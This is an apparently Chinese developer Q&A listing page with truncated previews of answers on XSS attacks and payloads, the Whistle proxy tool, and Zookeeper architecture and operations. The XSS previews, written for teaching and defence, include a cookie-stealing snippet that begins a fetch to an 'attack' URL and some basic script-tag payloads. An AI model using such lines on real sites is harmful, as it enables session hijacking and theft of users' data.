XSS 攻击有哪些危害?如何防范 XSS 攻击带来的安全风险?## 答案
XSS 攻击的危害非常严重,可以导致用户数据泄露、会话劫持、恶意操作等多种安全风险。了解 XSS 攻击的危害对于构建安全的 Web 应用至关重要。
### XSS 攻击的主要危害
#### 1. Cookie 窃取
**危害描述:**
攻击者可以通过 XSS 漏洞窃取用户的 Cookie,特别是会话 Cookie(Session Cookie),从而劫持用户的登录会话。
**攻击原理:**
```javascript
// 恶意脚本窃取 Cookie
const stolenCookie = document.cookie;
fetch('http://attack...
前端 · 2月19日 15:54
常见的 XSS Payload 有哪些?如何识别和防护恶意 XSS 载荷?## 答案
XSS Payload(攻击载荷)是攻击者用于执行 XSS 攻击的恶意代码片段。了解常见的 XSS Payload 对于检测和防护 XSS 攻击至关重要。XSS Payload 可以分为多种类型,每种类型都有其特定的攻击场景和绕过技巧。
### 基础 XSS Payload
#### 1. Script 标签注入
**最基础的 Payload:**
```html
<script>alert(1)</script>
<script>alert('XSS')</script>
<script>alert("XSS")</script>
```
**变体:**
```h...
前端 · 2月19日 15:59
whistle 的规则语法是什么,常用的操作符有哪些?## 答案
Whistle 的规则语法非常简洁直观,基本格式为:`pattern operator-uri`
### 基本规则格式
```
pattern operator-uri
```
- **pattern**:匹配模式,可以是域名、路径、正则表达式等
- **operator**:操作符,指定要执行的操作类型
- **uri**:目标地址或参数
### 常用操作符
1. **`host`**:修改请求的 Host 头
```
www.example.com host 127.0.0.1:8080
```
2. **`reqHeaders`**:修改...
前端 · 2月19日 16:30
什么是 whistle 代理工具,它有哪些核心功能?## 答案
Whistle 是一个基于 Node.js 的跨平台 Web 调试代理工具,主要用于捕获、检查和修改 HTTP(S) 网络请求。它类似于 Charles 和 Fiddler,但具有更强大的功能和更灵活的配置方式。
### 核心功能
1. **请求拦截与修改**:可以拦截并修改 HTTP/HTTPS 请求和响应
2. **规则配置**:通过简单的规则语法实现复杂的代理配置
3. **多环境切换**:支持快速切换不同的测试环境
4. **数据模拟**:可以模拟接口返回数据,方便前端开发调试
5. **性能监控**:提供请求耗时、大小等性能指标
6. **跨平台支持**:支持...
前端 · 2月19日 16:29
whistle 如何使用脚本处理请求和响应,有哪些高级用法?## 答案
Whistle 支持通过脚本处理请求和响应,这为开发者提供了极大的灵活性,可以实现复杂的网络请求处理逻辑。
### 脚本处理基础
#### 1. 脚本文件格式
Whistle 脚本使用 CommonJS 模块格式:
```javascript
module.exports = function(req, res) {
// 处理逻辑
};
```
#### 2. 脚本类型
- **reqScript**:处理请求
- **resScript**:处理响应
- **plugin**:插件脚本
### reqScript 使用
#### 1. 基本用法
*...
前端 · 2月19日 16:33
whistle 如何支持自动化测试,有哪些测试框架集成方案?## 答案
Whistle 支持自动化测试,可以与各种测试框架集成,提高测试效率和质量。
### 自动化测试基础
#### 1. 测试环境配置
**安装测试依赖:**
```bash
npm install --save-dev whistle puppeteer jest
```
**配置测试环境:**
```javascript
// setup-whistle.js
const { spawn } = require('child_process');
let whistleProcess;
beforeAll(async () => {
// 启动 whistl...
前端 · 2月19日 16:42
Zookeeper 与 Etcd、Consul 有什么区别?如何选择合适的分布式协调服务?## 答案
Zookeeper、Etcd 和 Consul 都是分布式协调服务,但它们在设计理念、特性和适用场景上有所不同。
### 1. 设计理念对比
**Zookeeper**:
- 基于 Chubby 论文设计
- 采用 CP 模型(一致性和分区容错性)
- 使用 ZAB 协议保证一致性
- 专注于分布式协调
**Etcd**:
- 基于 Raft 协议设计
- 采用 CP 模型
- 简单易用,专注于键值存储
- 云原生设计
**Consul**:
- 基于 Raft 协议设计
- 采用 AP 模型(可用性和分区容错性)
- 服务网格和健康检查
- 全面的服务发现解决方案...
服务端 · 2月20日 12:43
Zookeeper 的架构设计是怎样的?Leader、Follower 和 Observer 角色有什么区别?## 答案
Zookeeper 采用主从架构设计,通过 ZAB 协议实现数据一致性和高可用性。
### 集群角色
1. **Leader**
- 处理所有写请求
- 负责协调集群状态
- 维护数据副本同步
- 唯一能处理事务请求的节点
2. **Follower**
- 处理客户端读请求
- 参与 Leader 选举投票
- 接收 Leader 的数据同步
- 转发写请求给 Leader
3. **Observer**
- 只处理读请求
- 不参与 Leader 选举
- 不参与数据写入投票
- 接收 Le...
服务端 · 2月20日 11:58
Zookeeper 如何保证数据一致性?ZAB 协议的工作原理是什么?## 答案
Zookeeper 通过 ZAB 协议(Zookeeper Atomic Broadcast)保证数据一致性,这是其核心机制。
### ZAB 协议
ZAB 协议包含两种模式:
1. **崩溃恢复模式**:
- Leader 故障或集群启动时进入
- 选举新 Leader
- 数据同步和恢复
2. **消息广播模式**:
- Leader 正常工作时运行
- 处理客户端写请求
- 广播事务到所有 Follower
### 写请求一致性保证
**写请求流程**:
1. **客户端发送写请求**到任意节点
2. **Follow...
服务端 · 2月20日 11:59
如何进行 Zookeeper 的运维和监控?有哪些关键指标和告警规则?## 答案
Zookeeper 的运维和监控是保证集群稳定运行的关键,需要建立完善的监控体系和运维流程。
### 1. 部署架构
**生产环境推荐架构**:
- 5 节点集群(1 Leader + 4 Follower)
- 跨可用区部署
- 独立磁盘存储事务日志
- 负载均衡器分发客户端连接
**部署检查清单**:
```bash
# 1. 检查 Java 版本
java -version # 建议 JDK 8 或 11
# 2. 检查网络连通性
ping <other-nodes>
# 3. 检查防火墙
telnet <node> 2181
# 4. 检查磁盘空间
d...
服务端 · 2月20日 12:44
